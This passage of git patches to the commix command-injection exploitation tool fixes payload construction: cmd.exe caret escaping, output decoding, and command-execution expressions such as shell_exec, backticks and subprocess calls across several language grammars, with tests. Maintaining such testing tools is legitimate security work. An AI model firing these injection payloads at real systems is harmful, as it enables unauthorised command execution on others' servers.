url_time_response, technique, OUTPUT_TEXTFILE, postprocess=trim_marker) + # The padding the Windows interpreter payload writes is taken off where that payload's own shape + # is known, which is the reading itself - undone a second time here, the one space it leaves was + # a space of the command's own, and an answer of ' X ' arrived as 'X'. + execute_cmd = execution.make_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE) shell, fresh = execute_cmd(cmd) checks.print_current_user_privs(shell, filename, settings.TIME_RELATED_ATTACK and fresh) diff --git a/src/core/techniques/results_based/rb_payloads.py b/src/core/techniques/results_based/rb_payloads.py index 87062c7931..68644a7bda 100755 --- a/src/core/techniques/results_based/rb_payloads.py +++ b/src/core/techniques/results_based/rb_payloads.py @@ -141,7 +141,7 @@ def cmd_execution(separator, TAG, cmd): else: payload = (chain + "for /f \"tokens=* eol=\" %i in ('cmd /c \"" + - cmd + + checks.caret_escaped(cmd) + "\"') do @" + settings.CMD_NUL + " set /p=" + TAG + TAG + "%i" + TAG + TAG ) else: diff --git a/src/core/techniques/tempfile_based/tfb_payloads.py b/src/core/techniques/tempfile_based/tfb_payloads.py index f7f3a59001..3758bf57c4 100755 --- a/src/core/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/techniques/tempfile_based/tfb_payloads.py @@ -270,8 +270,12 @@ def cmd_execution_alter_interpreter(separator, cmd, j, OUTPUT_TEXTFILE, timesec, chain = checks.windows_separator(separator) if chain is not None: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(len(file.read().strip()))\"" + # Written in quoted, the way the results-based payload writes its own. Unquoted, cmd.exe took + # a '^' of the command's for its own escape and dropped it with no number of them bringing it + # back - measured against a cmd.exe, one, two, three and four carets all arrived as none, + # while the quoted form carries a doubled one as the character it was. payload = (chain + - "for /f \"tokens=* eol=\" %i in ('cmd /c " + cmd + "') do " + + "for /f \"tokens=* eol=\" %i in ('cmd /c \"" + checks.caret_escaped(cmd) + "\"') do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%i'" + checks.windows_probe(checks.WINDOWS_CHAIN, python_payload, "EQU", j, timesec) ) diff --git a/src/utils/settings.py b/src/utils/settings.py index ef21638c2d..57cdd74df3 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -500,7 +500,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "344" +REVISION = "345" # How long an install may go without being updated before the run says so at the end. Read off the # files on disk rather than asked of anyone, so a run that never reaches the network still knows. @@ -1298,6 +1298,9 @@ def current_technique(): WIN_FILE_READ_B64 = "powershell.exe -c \"[Convert]::ToBase64String([IO.File]::ReadAllBytes('" FILE_WRITE_OPERATOR = " >" FILE_APPEND_OPERATOR = " >>" +# What cmd.exe reads as its own escape character, and drops. +WIN_ESCAPE = "^" + WIN_FILE_WRITE_OPERATOR = "powershell.exe Set-Content " WIN_FILE_READ = "powershell.exe get-Content " diff --git a/tests/test_payloads.py b/tests/test_payloads.py index faa8748062..588fe5a3bc 100644 --- a/tests/test_payloads.py +++ b/tests/test_payloads.py @@ -22,6 +22,7 @@ from tests._testutils import SEPARATORS, separators_in, stage as stage_exploitation from src.utils import settings +from src.core.controller import checks from src.core.parse import cmdline as menu TECHNIQUES = ("results_based.rb_payloads", "time_based.tb_payloads", "file_based.fb_payloads", @@ -340,6 +341,67 @@ def test_nothing_is_taken_off_what_the_command_printed(self): self.assertNotIn("%[[:space:]]", tfb_payloads.output_text()) self.assertIn(settings.RANDOM_VAR_GENERATOR, tfb_payloads.output_text()) +class ACaretReachesACmdExeAsTheCharacterItIs(unittest.TestCase): + """ + cmd.exe takes a '^' for its own escape and drops it, so a command carrying one ran without it and + the shorter answer was reported as the command's own - 'echo a^b' came back as 'ab'. Measured + against a cmd.exe: one doubling is exactly what a single pass of its unescaping takes off. + """ + def setUp(self): + self._tampers = dict(settings.TAMPER_SCRIPTS) + for name in settings.TAMPER_SCRIPTS: + settings.TAMPER_SCRIPTS[name] = False + self._os = settings.TARGET_OS + settings.TARGET_OS = settings.OS.WINDOWS + + def tearDown(self): + settings.TAMPER_SCRIPTS.update(self._tampers) + settings.TARGET_OS = self._os + + def test_a_caret_is_doubled(self): + self.assertEqual("echo a^^b", checks.caret_escaped("echo a^b")) + + def test_every_caret_is(self): + self.assertEqual("a^^b^^c", checks.caret_escaped("a^b^c")) + + def test_a_command_carrying_none_is_untouched(self): + self.assertEqual("echo ab", checks.caret_escaped("echo ab")) + + def test_the_payload_carries_the_doubled_form(self): + from src.core.techniques.results_based import rb_payloads + self.assertIn("echo a^^b", rb_payloads.cmd_execution("&", "TAG", "echo a^b")) + + def test_the_tempfile_payload_quotes_the_command_and_doubles_it(self): + """ + Unquoted, no number of carets brought one back - one, two, three and four each arrived as none + against a cmd.exe, while the quoted form carries a doubled one as the character it was. + """ + from src.core.techniques.tempfile_based import tfb_payloads + built = tfb_payloads.cmd_execution_alter_interpreter("&", "echo a^b", 6, "OUT.txt", 5, "GET") + self.assertIn("'cmd /c \"echo a^^b\"'", built) + + def test_a_script_spelling_the_payload_in_carets_is_left_to_do_it(self): + # That one collapses a double back to a single, which would undo this and leave the command + # shorter than it was written. + settings.TAMPER_SCRIPTS["caret"] = True + self.assertEqual("echo a^b", checks.caret_escaped("echo a^b")) + +class ThePaddingIsTakenOffOnceAndOnlyOnce(unittest.TestCase): + """ + The space the Windows interpreter payload writes either side of its output is removed where that + payload's own shape is known, which is the reading itself. The privilege check used to undo it a + second time, and the space it took the second time was the command's own: an answer of ' X ' came + back as 'X', and only a user id having no padding of its own kept it from being noticed. + """ + def test_the_privilege_check_does_not_trim_the_answer_again(self): + root = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) + with open(os.path.join(root, "src", "core", "controller", "enumeration.py")) as handle: + source = handle.read() + start = source.index("def check_current_user_privs(") + body = source[start:source.index("\ndef ", start)] + for trimming in (".strip()", ".rstrip()", ".lstrip()"): + self.assertNotIn(trimming, body, "the answer is trimmed again by " + trimming) + class AWindowsInterpretersOutputKeepsItsOwnEdges(unittest.TestCase): """ The payload hands 'write-host' the markers and the command as separate arguments, and it joins From f432602a1425ecc262b0dd5eaafac95484ab4fd1 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 15 Nov 2026 10:07:10 +0200 Subject: [PATCH 1019/1023] Fixed several issues regarding the answer a command's output comes back as, affecting the per-cent signs and the line breaks a command printed, the length and the bytes read off an evaluated sink, the commands carried through an interpreter's own operator and the boolean-based test of a payload standing in place of a parameter's value --- doc/CHANGELOG.md | 1 + src/core/controller/checks.py | 28 ++++++-- src/core/controller/handler.py | 18 +++-- src/core/controller/injector.py | 36 +++++++--- src/core/eval/grammars/javascript.py | 37 ++++++++-- src/core/eval/grammars/lua.py | 19 ++++- src/core/eval/grammars/perl.py | 13 +++- src/core/eval/grammars/php.py | 52 ++++++++++++-- src/core/eval/grammars/powershell.py | 13 +++- src/core/eval/grammars/python.py | 50 ++++++++++--- src/core/eval/grammars/ruby.py | 63 ++++++++++++++-- src/tamper/eval/javascript/nashornexec.py | 15 ++-- src/tamper/eval/php/phpconcat.py | 17 ++++- src/tamper/eval/php/phphexname.py | 17 ++++- src/tamper/eval/php/phpnoletters.py | 22 +++++- src/tamper/eval/php/phpnosymbols.py | 16 +++-- src/tamper/eval/php/phpregreplace.py | 55 ++++++++++++++ src/tamper/eval/php/phpserverheaders.py | 18 ++++- src/tamper/eval/python/pyhexname.py | 13 +++- src/utils/settings.py | 3 +- tests/test_checks.py | 31 ++++++++ tests/test_grammars.py | 81 +++++++++++++++++++++ tests/test_payloads.py | 9 +++ tests/test_tamper.py | 87 +++++++++++++++++++++++ 24 files changed, 635 insertions(+), 79 deletions(-) create mode 100644 src/tamper/eval/php/phpregreplace.py diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 27f54a804b..061903cb7f 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: New tamper script `phpregreplace.py`, carrying a payload through the replacement string of a PHP sink evaluated by `preg_replace()`'s "e" modifier. * Fixed: The switch `--null-connection`, which reads no page body, was left to run alongside an option that reads one (`--string`, `--not-string`, `--regexp`, `--text-only`, `--titles`), leaving every boolean answer the same. * Added: New switch `--titles`, comparing pages by their title alone - for a target whose page moves by itself everywhere except the line naming what it rendered. * Fixed: Payload generation for certain separator and tamper script combinations, which could produce a payload the shell cannot run. diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 023dac2455..1588ca2aa3 100644 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -1538,7 +1538,27 @@ def comparison_baseline(url, http_request_method): settings.STAND_IN_PAGE = requests.page_without_payload(url, http_request_method) or settings.ORIGINAL_PAGE or "" return settings.STAND_IN_PAGE -def decode_page_body(body, response=None, percent_decode=True, entity_decode=True): +""" +Per-cent escapes read as the characters they stand for, except where one runs into a marker. + +What a command printed is bytes, not a page: a per-cent sign in its output is one it printed, and +the two characters behind it belong to whatever came next - the marker a technique closes the +output with, where the output ends on one. Read together, those three became a single byte, the +marker was no longer whole and the output came back as nothing at all: an output ending in '%' +and a marker beginning 'EF' lost both, while the same output and a marker beginning 'UZ' came +back as it was. An escape is left as it stands wherever reading it would reach into the marker, +and every other one is read the way a page carrying encoded text needs it read. +""" +def percent_decoded(body, guard=None): + if isinstance(guard, str): + guard = guard.encode(settings.DEFAULT_CODEC) + def decoded(match): + if guard and any(body.startswith(guard, match.start() + offset) for offset in (1, 2)): + return match.group(0) + return codecs.decode(match.group(1), "hex") + return re.sub(b"(?i)%([0-9a-f]{2})", decoded, body) + +def decode_page_body(body, response=None, percent_decode=True, entity_decode=True, guard=None): """ A page already read from its response, as text: decompressed if it was compressed, and read in the encoding it declares. @@ -1587,7 +1607,7 @@ def decode_page_body(body, response=None, percent_decode=True, entity_decode=Tru body = re.sub(b"(?i)&#x([0-9a-f]{1,2});", lambda _: codecs.decode(_.group(1) if len(_.group(1)) == 2 else b"0" + _.group(1), "hex"), body) body = re.sub(b"&#(\\d{1,3});", lambda _: bytes(bytearray([int(_.group(1))])) if int(_.group(1)) < 256 else _.group(0), body) if percent_decode and b"%" in body: - body = re.sub(b"(?i)%([0-9a-f]{2})", lambda _: codecs.decode(_.group(1), "hex"), body) + body = percent_decoded(body, guard) if entity_decode: body = re.sub(b"&([^;]+);", lambda _: bytes(bytearray([settings.HTML_ENTITIES[_.group(1).decode("ascii", errors="replace")]])) if settings.HTML_ENTITIES.get(_.group(1).decode("ascii", errors="replace"), 256) < 256 else _.group(0), body) page_encoding = page_encoding or heuristic_charset(body) @@ -1726,7 +1746,7 @@ def page_text_percent(page): return 100.0 return 100.0 * len(filtered_page_content(page)) / len(page) -def process_page_content(response, action): +def process_page_content(response, action, guard=None): try: page = response.read() except _http_client.IncompleteRead as err_msg: @@ -1742,7 +1762,7 @@ def process_page_content(response, action): # Read as text the one way every page is read: decompressed, in the charset the page and its # header agree on, with what a browser would resolve already resolved. if action != "encode": - return decode_page_body(page, response, percent_decode=not settings.CRAWLING) + return decode_page_body(page, response, percent_decode=not settings.CRAWLING, guard=guard) page = decompress_page(page, content_encoding) diff --git a/src/core/controller/handler.py b/src/core/controller/handler.py index 6fff8cf749..a82391816f 100755 --- a/src/core/controller/handler.py +++ b/src/core/controller/handler.py @@ -773,8 +773,18 @@ def _answers_both_ways(whitespace, prefix, suffix, separator, TAG): answering through it. Where it does not parse, the interpreter prints its complaint instead, and the false question draws another carrying different digits of this run's own - read as two answers, that one error confirms a boundary nothing ever ran through. + + Asked only of a payload that went in behind the parameter's own value. Standing in place of + it, the value is not there to be rendered and the page is not meant to read like the one it + returns: a sink replacing the whole of what it was given answered the true question with the + empty string the payload evaluates to, which is a page of its own rather than that one - and + the technique was refused on every boundary, including the ones that worked, while naming the + string by hand found it at once. What a broken payload leaves is still caught below, where + two answers that are one interpreter complaint carrying different digits are read as the one + error they are. """ - if not settings.BOOLEAN_PRINTED_STATE and checks.comparable_page(page_true or "") != checks.comparable_page(checks.comparison_baseline(url, http_request_method)): + if not settings.BOOLEAN_PRINTED_STATE and not settings.REPLACE_VALUE and \ + checks.comparable_page(page_true or "") != checks.comparable_page(checks.comparison_baseline(url, http_request_method)): return None """ What the page moves on its own, measured again where the run can actually see it. @@ -1627,7 +1637,7 @@ def do_results_based_process(url, timesec, filename, http_request_method, inject if type(response) is bool: html_data = "" else: - html_data = checks.process_page_content(response, action="decode") + html_data = checks.process_page_content(response, action="decode", guard=TAG) # The marker written here is what the file holds until a command overwrites it, so it # is remembered as such - a command the target never runs leaves it in place, and the # read that follows would otherwise hand it back as that command's own output. @@ -1749,7 +1759,7 @@ def do_results_based_process(url, timesec, filename, http_request_method, inject requests.perform_injection(prefix, suffix, whitespace, verify_payload, "", http_request_method, url) time.sleep(timesec) verify_response = injector.fetch_output_response(url, OUTPUT_TEXTFILE, timesec, technique) - verify_html_data = "" if verify_response is None or type(verify_response) is bool else checks.process_page_content(verify_response, action="decode") + verify_html_data = "" if verify_response is None or type(verify_response) is bool else checks.process_page_content(verify_response, action="decode", guard=verify_tags[0]) # The markers written just now are the last thing in the file before a command is, so this # is what the file still holds if the first command never reaches the target. injector.remember_output_file(verify_response) @@ -1766,7 +1776,7 @@ def do_results_based_process(url, timesec, filename, http_request_method, inject requests.perform_injection(prefix, suffix, whitespace, verify_payload, "", http_request_method, url) time.sleep(timesec) verify_response = injector.fetch_output_response(url, OUTPUT_TEXTFILE, timesec, technique) - verify_html_data = "" if verify_response is None or type(verify_response) is bool else checks.process_page_content(verify_response, action="decode") + verify_html_data = "" if verify_response is None or type(verify_response) is bool else checks.process_page_content(verify_response, action="decode", guard=verify_tag) injector.remember_output_file(verify_response) verify_shell = re.findall(r"" + verify_tag + "", str(verify_html_data)) verified = bool(verify_shell) and verify_shell[0] == verify_tag diff --git a/src/core/controller/injector.py b/src/core/controller/injector.py index 484366926c..c7652fa26d 100755 --- a/src/core/controller/injector.py +++ b/src/core/controller/injector.py @@ -1598,15 +1598,18 @@ def fetch_output_response(url, OUTPUT_TEXTFILE, timesec, technique): The output file's contents, read the way the command's own output is read - so that what the file held before a command can be told from what it holds after one. -Only the line breaks it ends with come off. A substitution drops those and nothing else, which is -what the techniques reading their answer off the page hand back, so this hands back the same. -Stripped at both ends instead, a command whose output was indented, or padded, or was whitespace -altogether came back without the part of it that said so: an output of a tab, three spaces, 'X' and -seven more tabs arrived as 'X'. +Only the newlines it ends with come off. A substitution drops those and stops at the first byte +that is not one, which is what the techniques reading their answer off the page hand back, so this +hands back the same. Stripped at both ends instead, a command whose output was indented, or padded, +or was whitespace altogether came back without the part of it that said so: an output of a tab, +three spaces, 'X' and seven more tabs arrived as 'X'. A carriage return taken off with them is the +same mistake one byte smaller - an output ending 'a\r\nb\r\n' came back as 'a\r\nb', where a +substitution hands back the carriage return that break left behind. A Windows target's own are +dropped below, where they are the target's and not the command's. """ def output_file_content(response): content = checks.process_page_content(response, action="encode") - content = content.rstrip(settings.END_LINE.CR + settings.END_LINE.LF) + content = content.rstrip(settings.END_LINE.LF) # The bytes the file's own encoding could not read, back as the bytes the target wrote. content = checks.decoded_byte_output(checks.restored_unreadable_bytes(content)) if settings.TARGET_OS == settings.OS.WINDOWS: @@ -1674,7 +1677,7 @@ def injection_test_results(response, TAG, randvcalc, technique, payload=None): except ImportError: # Python 2 unescape = _html_parser.HTMLParser().unescape # Check the execution results - html_data = checks.process_page_content(response, action="decode") + html_data = checks.process_page_content(response, action="decode", guard=TAG) html_data = html_data.replace(settings.END_LINE.LF,settings.SINGLE_WHITESPACE) # cleanup string / unescape html to string html_data = _urllib.parse.unquote(html_data) @@ -1687,7 +1690,7 @@ def injection_test_results(response, TAG, randvcalc, technique, payload=None): if len(shell) > 1: shell = shell[0] else: - html_data = checks.process_page_content(response, action="decode") + html_data = checks.process_page_content(response, action="decode", guard=TAG) # A Windows target ends its lines with CRLF, so every line break counts as the one whitespace # the markers are looked up with. html_data = re.sub(r"[" + settings.END_LINE.CR + settings.END_LINE.LF + r"]+", settings.SINGLE_WHITESPACE, html_data) @@ -1790,7 +1793,7 @@ def injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, times false_result = False try: # Grab execution results - html_data = checks.process_page_content(response, action="decode") + html_data = checks.process_page_content(response, action="decode", guard=TAG) """ Every line break stood in for, rather than thrown away. @@ -1871,7 +1874,7 @@ def injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, times # substitution hand it back. line_mark = new_line + "[BN]" # Grab execution results - html_data = checks.process_page_content(response, action="decode") + html_data = checks.process_page_content(response, action="decode", guard=TAG) for sequence, mark in marks: html_data = html_data.replace(sequence, mark) """ @@ -1895,7 +1898,18 @@ def injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, times shell = "" else: found = re.sub("^(?:" + line_mark + ")", "", shell[0], count=1) - found = re.sub("(?:" + line_mark + ")+$", "", found) + """ + The newlines an output ends with dropped, and only those. + + A Windows line break is marked as one mark rather than two, so a trailing one taken off whole + took its carriage return with it: an output of 'a\r\nb\r\n' came back as 'a\r\nb', where a + substitution would have dropped the newline alone and handed back 'a\r\nb\r'. Dropping stops + at the first byte that is not a newline, which is what the carriage return left behind is - + so the pair's own mark is rewritten as the one standing for that byte, and nothing after it + is taken off. + """ + found = re.sub("(?:" + new_line + "N)+$", "", found) + found = re.sub("(?:" + new_line + "B)$", new_line + "R", found) for sequence, mark in marks: found = found.replace(mark, sequence) shell = found diff --git a/src/core/eval/grammars/javascript.py b/src/core/eval/grammars/javascript.py index c9ed7c4869..b259cea7a0 100644 --- a/src/core/eval/grammars/javascript.py +++ b/src/core/eval/grammars/javascript.py @@ -117,21 +117,44 @@ def run(cmd): def read_file(path): return "require(\"fs\").readFileSync(" + _literal(path) + ").toString()" -# Drop trailing whitespace, so a length agrees with what a shell's own substitution would report - -# both ends rather than the one, the way another language's grammar does it here, would disagree -# with that substitution on any output that opens with whitespace of its own. +""" +Drop the newlines an output ends with, so a length agrees with what a shell's own substitution +would report. + +Whitespace of every kind taken off instead, an output ending in a space or a tab was reported +shorter than it is and came back without the part of it that said so: a command printing 'AB ' +was answered with 'AB', while the techniques reading their answer off a substitution handed back +all four characters. A substitution drops newlines and stops at the first byte that is not one - +a carriage return, among them - so that is what comes off here. +""" def trim(expr): - return "(" + expr + ").trimEnd()" + return "(" + expr + ").replace(/\\n+$/, \"\")" -# How many bytes an expression is. +""" +How many bytes an expression is. + +Counted off the bytes rather than off what this language calls its characters: a command printing +three Greek letters is six bytes and was reported as three, so the search asked about half of them +and the other half came back as nothing at all. Every other grammar here counts bytes, and the +ordinals the techniques read are byte ordinals, so the two have to agree on what a position is. + +Read through the one pair of calls every build of this language has had: 'encodeURIComponent' writes +each byte as its own escape and 'unescape' reads those back one per character, which is a string +whose length and whose character codes are the bytes. A 'Buffer' would say the same thing in fewer +calls and is not there at all outside Node, which one of the sinks this grammar answers is not. +""" def length(expr): - return "(" + expr + ").length" + return "unescape(encodeURIComponent(" + expr + ")).length" # The ordinal of an expression's Nth byte, counting from zero. 'charCodeAt' answers 'NaN' past the # end, which the search would read as a comparison that is never true - answering zero instead # says plainly that nothing is there, the way every other language's grammar here does too. def ordinal(expr, index): - return "(" + expr + ").charCodeAt(" + str(index) + ")||0" + # Parenthesised around the whole of it: '||' binds looser than every comparison this grammar + # writes around an ordinal, so the fallback would otherwise take the comparison for its own right + # side rather than standing in for a byte that is not there. Read off the bytes, as the length + # beside it is. + return "(unescape(encodeURIComponent(" + expr + ")).charCodeAt(" + str(index) + ")||0)" # An expression's value read as a number, for a command whose output is one. def to_number(expr): diff --git a/src/core/eval/grammars/lua.py b/src/core/eval/grammars/lua.py index 2125e4ad7d..698c290110 100644 --- a/src/core/eval/grammars/lua.py +++ b/src/core/eval/grammars/lua.py @@ -103,14 +103,22 @@ def read_file(path): return "io.open(" + _literal(path) + "):read(\"*a\")" """ -Drop trailing whitespace, so a length agrees with what a shell's own substitution would report. +Drop the newlines an output ends with, so a length agrees with what a shell's own substitution +would report. + +Whitespace of every kind taken off instead, an output ending in a space or a tab was reported +shorter than it is and came back without the part of it that said so: a command printing 'AB ' +was answered with 'AB', while the techniques reading their answer off a substitution handed back +all four characters. A substitution drops newlines and stops at the first byte that is not one - +a carriage return, among them - so that is what comes off here, written as the decimal escape for +it rather than as the byte, which the payload carries no better than the shell around it does. Parenthesised around the whole call: 'gsub' answers the string and how many times it matched, and the second of those would otherwise still be there wherever this sits as the last of several arguments passed to something else - 'string.len', not least. """ def trim(expr): - return "((" + expr + "):gsub(\"%s+$\", \"\"))" + return "((" + expr + "):gsub(\"\\10+$\", \"\"))" # How many bytes an expression is. def length(expr): @@ -124,7 +132,12 @@ def length(expr): the index runs past the end. """ def ordinal(expr, index): - return "(" + expr + "):byte(" + str(index + 1) + ") or 0" + # Parenthesised around the whole of it: 'or' binds looser than every comparison this grammar + # writes around an ordinal, so the fallback would otherwise take the comparison for its own right + # side - a byte that is there answers the 'or' before the comparison is ever reached, every + # comparison came back true, and the search for the byte converged on the top of its pool + # whatever the byte was. + return "((" + expr + "):byte(" + str(index + 1) + ") or 0)" # An expression's value read as a number, for a command whose output is one. def to_number(expr): diff --git a/src/core/eval/grammars/perl.py b/src/core/eval/grammars/perl.py index a7de2ccc2e..398ff8fdf3 100644 --- a/src/core/eval/grammars/perl.py +++ b/src/core/eval/grammars/perl.py @@ -111,9 +111,18 @@ def run(cmd): def read_file(path): return run("cat " + path) -# Drop trailing whitespace, so a length agrees with what a shell's own substitution would report. +""" +Drop the newlines an output ends with, so a length agrees with what a shell's own substitution +would report. + +Whitespace of every kind taken off instead, an output ending in a space or a tab was reported +shorter than it is and came back without the part of it that said so: a command printing 'AB ' +was answered with 'AB', while the techniques reading their answer off a substitution handed back +all four characters. A substitution drops newlines and stops at the first byte that is not one - +a carriage return, among them - so that is what comes off here. +""" def trim(expr): - return "((" + expr + ")=~s/\\s+\\z//r)" + return "((" + expr + ")=~s/\\n+\\z//r)" # How many bytes an expression is. def length(expr): diff --git a/src/core/eval/grammars/php.py b/src/core/eval/grammars/php.py index beec111501..866b95ea81 100644 --- a/src/core/eval/grammars/php.py +++ b/src/core/eval/grammars/php.py @@ -13,6 +13,8 @@ For more see the file 'readme/COPYING' for copying permission. """ +import re + NAME = "php" # The same name as it is written out to the user, where the switch's own spelling would read wrong. @@ -126,25 +128,65 @@ def _literal(text): at all. The operator is this function under another name, so a target that refuses one refuses both and nothing is given up by writing it out. """ +""" +What the backtick operator reads out of the command it holds, and what each of those is written as +so the shell is handed the character instead. + +The operator's own string is read the way a double-quoted one is: an octal escape becomes the byte +it names, a '$' opens a variable, and a backtick ends the operator altogether. Written as they +stand, a command carrying any of the three arrives as something else - 'printf \141' reached the +shell as 'printf a', the escape spent before the shell was ever asked - so each is written behind a +backslash, which is the one spelling this reading hands back unchanged. +""" +BACKTICK_READS = ("\\", "`", "$") + +# The command inside the operator, as the one holding it has to be written. +def backticked(cmd): + for character in BACKTICK_READS: + cmd = cmd.replace(character, "\\" + character) + return cmd + +""" +The command as it was written, out of the operator above. + +What a script rewriting that operator into a call of its own has to hand the call: the call carries +its argument as a quoted literal, which is read by nothing on the way and needs none of this. +""" +def backtick_command(text): + return re.sub(r"\\([\\`$])", r"\1", text) + +# The operator and everything it holds, an escaped backtick of the command's own staying inside it +# rather than being read as the one that closes it. +BACKTICK_SPAN = r"`((?:[^`\\]|\\.)*)`" + def run(cmd): # Asked for only where the payload still reaches the target written the way it was built. Every # script rewriting a payload of this grammar's is written around the operator below - the one # answering a sink that rejects a quote of either kind could not carry this call's own quotes at # all - so where any is in effect the command goes in the way it always did, read by the - # interpreter on its way to the shell. A '$' or a backtick of its own is lost there, which is the - # cost of reaching a sink that would otherwise refuse the payload outright. + # interpreter on its way to the shell. What that reading would take is written for it instead, + # so the command still arrives as the one that was built. from src.utils import settings if any(settings.TAMPER_SCRIPTS.values()): - return "`" + cmd + "`" + return "`" + backticked(cmd) + "`" return "shell_exec(" + _literal(cmd) + ")" # Read a file and yield its contents. def read_file(path): return run("cat " + path) -# Drop trailing whitespace, so a length agrees with what a shell's own substitution would report. +""" +Drop the newlines an output ends with, so a length agrees with what a shell's own substitution +would report. + +Whitespace of every kind taken off instead, an output ending in a space or a tab was reported +shorter than it is and came back without the part of it that said so: a command printing 'AB ' +was answered with 'AB', while the techniques reading their answer off a substitution handed back +all four characters. A substitution drops newlines and stops at the first byte that is not one - +a carriage return, among them - so that is what comes off here. +""" def trim(expr): - return "rtrim(" + expr + ")" + return "rtrim(" + expr + ", chr(10))" # How many bytes an expression is. def length(expr): diff --git a/src/core/eval/grammars/powershell.py b/src/core/eval/grammars/powershell.py index 820fe29c2b..b1526b4765 100644 --- a/src/core/eval/grammars/powershell.py +++ b/src/core/eval/grammars/powershell.py @@ -130,9 +130,18 @@ def run(cmd): def read_file(path): return "[IO.File]::ReadAllText(" + _literal(path) + ")" -# Drop trailing whitespace, so a length agrees with what a shell's own substitution would report. +""" +Drop the newlines an output ends with, so a length agrees with what a shell's own substitution +would report. + +Whitespace of every kind taken off instead, an output ending in a space or a tab was reported +shorter than it is and came back without the part of it that said so: a command printing 'AB ' +was answered with 'AB', while the techniques reading their answer off a substitution handed back +all four characters. A substitution drops newlines and stops at the first byte that is not one - +a carriage return, among them - so that is what comes off here. +""" def trim(expr): - return "(" + expr + ").TrimEnd()" + return "(" + expr + ").TrimEnd([char]10)" # How many bytes an expression is. def length(expr): diff --git a/src/core/eval/grammars/python.py b/src/core/eval/grammars/python.py index dc418c917d..8b0c81957c 100644 --- a/src/core/eval/grammars/python.py +++ b/src/core/eval/grammars/python.py @@ -130,21 +130,52 @@ def print_statement(separator, commands, chain=None): def _literal(text): return "\"" + text.replace("\\", "\\\\").replace("\"", "\\\"") + "\"" -# Run a command and yield its output. +""" +Run a command and yield its output, read as the bytes the command wrote. + +Read as text, the handle this language's shortest reader hands back translates every kind of line +break into the one this platform writes: a command printing 'AB\r\n' was answered with 'AB\n', a +carriage return of the output's own came back as a newline, and a length read off it was one short. +Nothing else in this grammar translates anything, and neither does the shell the other techniques +read their answer off, so the output is read as the bytes it is and decoded once, here. + +'-1' rather than the name the module gives that value, which would need the module imported a +second time to say; and the pipe is read rather than the exit status checked, so a command the +target refuses is answered with the nothing it printed, the way every other grammar here answers +one. +""" def run(cmd): - return "__import__(\"os\").popen(" + _literal(cmd) + ").read()" + return ("__import__(\"subprocess\").Popen(" + _literal(cmd) + + ",shell=True,stdout=-1).communicate()[0].decode()") -# Read a file and yield its contents. +# Read a file and yield its contents, as the bytes it holds - opened as text, a carriage return in +# the file comes back as a newline, the same way a command's own output would. def read_file(path): - return "open(" + _literal(path) + ").read()" + return "open(" + _literal(path) + ",\"rb\").read().decode()" + +""" +Drop the newlines an output ends with, so a length agrees with what a shell's own substitution +would report. -# Drop trailing whitespace, so a length agrees with what a shell's own substitution would report. +Whitespace of every kind taken off instead, an output ending in a space or a tab was reported +shorter than it is and came back without the part of it that said so: a command printing 'AB ' +was answered with 'AB', while the techniques reading their answer off a substitution handed back +all four characters. A substitution drops newlines and stops at the first byte that is not one - +a carriage return, among them - so that is what comes off here. +""" def trim(expr): - return "(" + expr + ").rstrip()" + return "(" + expr + ").rstrip(chr(10))" -# How many bytes an expression is. +""" +How many bytes an expression is. + +Counted off the bytes rather than off what this language calls its characters: a command printing +three Greek letters is six bytes and was reported as three, so the search asked about half of them +and the other half came back as nothing at all. Every other grammar here counts bytes, and the +ordinals the techniques read are byte ordinals, so the two have to agree on what a position is. +""" def length(expr): - return "len(" + expr + ")" + return "len((" + expr + ").encode(\"utf-8\"))" """ The ordinal of an expression's Nth byte, counting from zero. @@ -153,7 +184,8 @@ def length(expr): where another language answers zero, and the search asks about bytes that may not be there. """ def ordinal(expr, index): - return "ord((" + expr + ")[" + str(index) + ":" + str(index + 1) + "] or chr(0))" + return ("ord((" + expr + ").encode(\"utf-8\")[" + str(index) + ":" + str(index + 1) + + "] or b\"\\0\")") # An expression's value read as a number, for a command whose output is one. def to_number(expr): diff --git a/src/core/eval/grammars/ruby.py b/src/core/eval/grammars/ruby.py index eaa8b916c0..ea4a4145da 100644 --- a/src/core/eval/grammars/ruby.py +++ b/src/core/eval/grammars/ruby.py @@ -13,6 +13,8 @@ For more see the file 'readme/COPYING' for copying permission. """ +import re + NAME = "ruby" # The same name as it is written out to the user, where the switch's own spelling would read wrong. @@ -110,25 +112,72 @@ def print_statement(separator, commands, chain=None): def _literal(text): return "'" + text.replace("\\", "\\\\").replace("'", "\\'") + "'" +""" +What the backtick operator reads out of the command it holds, and what each of those is written as +so the shell is handed the character instead. + +As in the PHP grammar beside it, with this language's own interpolation in the place of the other's +variable: '#{...}' is read here, and a '#' is only the start of one before a brace - escaped all the +same, since the escape hands back the character either way and nothing has to work out which '#' +this is. +""" +BACKTICK_READS = ("\\", "`", "#") + +# The command inside the operator, as the one holding it has to be written. +def backticked(cmd): + for character in BACKTICK_READS: + cmd = cmd.replace(character, "\\" + character) + return cmd + +# The command as it was written, out of the operator above. +def backtick_command(text): + return re.sub(r"\\([\\`#])", r"\1", text) + +# The operator and everything it holds, an escaped backtick of the command's own staying inside it. +BACKTICK_SPAN = r"`((?:[^`\\]|\\.)*)`" + def run(cmd): # As in the PHP grammar beside it, and for the same reason: a script rewriting this payload is - # written around the operator below, so where one is in effect the command goes in that way. + # written around the operator below, so where one is in 